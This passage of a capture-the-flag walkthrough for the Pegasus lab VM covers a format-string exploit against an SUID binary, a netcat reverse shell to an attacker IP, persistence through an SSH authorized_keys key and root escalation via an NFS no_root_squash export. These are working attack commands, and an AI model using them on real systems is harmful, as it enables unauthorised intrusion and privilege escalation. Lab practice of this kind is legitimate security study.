root@kali:~/Walkthroughs/pegasus# python -c 'print "1\n0\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%19256x%8$hn%44192x%9$hn"' | ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection:
Enter first number: Enter second number: Error details: �
<lots of blank space>
sh: 1: Selection:: not found
Bye!
We successfully overwrote 'printf@plt' when the program tried to print what we entered into the calculator, so the next time the program tries to call printf (to ask for a new selection), it is actually passing that string to system instead of printf. 😄 Since there isn't a program in the $PATH called 'Selection:', the system call fails... but we can fix that.
Now that we basically know what we are dealing with, we can move over to the victim and execute arbitrary system commands as 'john' (the SUID user of my_first).
Before we can run our exploit on the victim, we need to disable ASLR (using ulimit) and then check the address for 'system' on the victim. We'll do this by running gdb on the victim, crashing the program and running 'print system'.
mike@pegasus:~$ ulimit -s unlimited
mike@pegasus:~$ gdb -q my_first
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/mike/my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit
Selection: 1
Enter first number: 0
Enter second number: %s%s
Error details: @���%s%s
Program received signal SIGSEGV, Segmentation fault.
0x4006ea59 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) p system
$1 = {<text variable, no debug info>} 0x40069060 <system>
We need to adjust our exploit string to overwrite printf with 0x40069060. Redoing our calculations...
\xfc\x9b\x04\x08 (location for first two bytes/higher bytes, 0x8049bfc, reversed for little endian)
\xfe\x9b\x04\x08 (location for second two bytes/lower two bytes, 0x8049bfe, reversed for little endian)
%36952x (generate our decimal value for %n, 0x9060 = 36960 - 8)
%8$hn (write higher two bytes to first location, 8 moves down the stack)
%44966x (generate our decimal value for %n, 0x14006 = 81926 - 36960) # we added a 1 in front of our address so our value wouldn't be negative
%9$hn (write lower two bytes to second location, 9 moves down the stack)
Running the program with our updated exploit string, I confirmed the system command is being called and "Selection:" is being passed in. All that's left to do now is create our reverse shell script, name it "Selection:", and add the current directory to our PATH.
mike@pegasus:~$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.183.0.222 5434 >/tmp/f" > Selection\:
mike@pegasus:~$ chmod +x Selection\:
mike@pegasus:~$ export PATH=.:$PATH
mike@pegasus:~$ python -c 'print "1\n0\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%36952x%8$hn%44966x%9$hn"' | ./my_first
When we pass our malicious printf string to the program, we get a new shell session in Metasploit as (effective user) john...
msf5 exploit(multi/handler) > [*] Command shell session 10 opened (10.183.0.222:5434 -> 10.183.0.210:34936) at 2019-05-07 17:53:53 -0400
msf5 exploit(multi/handler) > sessions 10
[*] Starting interaction with 10...
pwd
/home/mike
$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)
From here, we can add our SSH keys to /home/john/.ssh/authorized_keys and SSH in as john.
$ cd /home/john/.ssh
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKy7yNAa7Fw0mpUBX001tM69yRSjEgFvirEj9b0lsgSrHq2/qqqXFxN7JUaWn3pcwq8BoBgTAMeNQUzbO/Ph5qh1LmsHD6l3j6Vrs7OiUtnvFIbRIv35Rm+8a0fW3tU3+vxH3gVX+EyfG6QanPBfoAz1Gl6ZkPIdzw1CDiTUAWGvOOiBmOzay4aXOzNv+1S5FyjaxTUv6YZDMCq22MI6k2cZz76uUNQbupKhqvfucJecImu3eaWqRxuBLVBXlrMFqIwGEVIzqt/xRNfg61Krf//Qxi7tjv7okSin5MPu37+JIH0b3fKmuBQKJ2UersPwjVV+rgn02F2xSbvogIYbB7 root@kali" >> authorized_keys
$ chmod 600 authorized_keys
Then, from our attacking machine...
root@kali:~/Walkthroughs/pegasus# ssh -i pegasus john@10.183.0.210
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-39-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Wed May 8 08:06:30 AEST 2019
System load: 0.0 Processes: 100
Usage of /: 8.5% of 18.32GB Users logged in: 2
Memory usage: 17% IP address for eth0: 10.183.0.210
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
150 packages can be updated.
124 updates are security updates.
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Your Hardware Enablement Stack (HWE) is supported until April 2017.
Last login: Wed May 8 08:00:51 2019 from kali.homenet.dom
john@pegasus:~$
pwndbg
While working on exploiting the 'my_first' binary, I came across the GDB plug-in pwndbg. Apparently it is a more modern implementation of many of the features of peda (refer to IMF notes on peda).
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
Escalating from john's account
We were able to get root pretty easily with the overlays exploit. Here's how we could have gotten root after moving from mike to john's account.
john@pegasus:~$ sudo -l
Matching Defaults entries for john on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on this host:
(root) NOPASSWD: /usr/local/sbin/nfs
The user john has the ability to start the nfs service without requiring a password. The user doesn't have permission to edit /etc/exports...
john@pegasus:~$ ls -l /etc/exports
-rw-r--r-- 1 root root 450 Nov 18 2014 /etc/exports
...but the file's configuration is already vulnerable (it does not root_squash), so we should be good to go.
john@pegasus:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/opt/nfs *(rw,sync,crossmnt,no_subtree_check,no_root_squash)
We'll go ahead and start the nfs service...
john@pegasus:~$ sudo /usr/local/sbin/nfs start
* Exporting directories for NFS kernel daemon...
...done.
* Starting NFS kernel daemon
...done.
john@pegasus:~$ showmount -e
Export list for pegasus:
/opt/nfs *
Interestingly, the /opt/nfs can't be written to except by root...
drwxr-xr-x 2 root root 4096 Nov 18 2014 nfs
...so we'll mount the share on our attacking machine where we are root.
root@kali:~/Walkthroughs/pegasus# mkdir nfs
root@kali:~/Walkthroughs/pegasus# mount -t nfs 10.183.0.210:/opt/nfs nfs
We'll create a little application to run bash as root and compile it for the 32-bit victim and SUID root.
root@kali:~/Walkthroughs/pegasus/nfs# cat getroot.c
#include <unistd.h>
main( int argc, char ** argv, char ** envp )
{
setgid(0);
setuid(0);
system("/bin/bash", argv, envp);
return 0;
}
root@kali:~/Walkthroughs/pegasus/nfs# gcc -o getroot -m32 getroot.c
getroot.c:3:1: warning: return type defaults to 'int' [-Wimplicit-int]
main( int argc, char ** argv, char ** envp )
^~~~
getroot.c: In function 'main':
getroot.c:7:5: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
system("/bin/bash", argv, envp);
^~~~~~
root@kali:~/Walkthroughs/pegasus/nfs# chmod u+s getroot
Then, go run it back on the victim...
john@pegasus:~$ cd /opt/nfs
john@pegasus:/opt/nfs$ ./getroot
root@pegasus:/opt/nfs# id
uid=0(root) gid=0(root) groups=0(root),1000(john)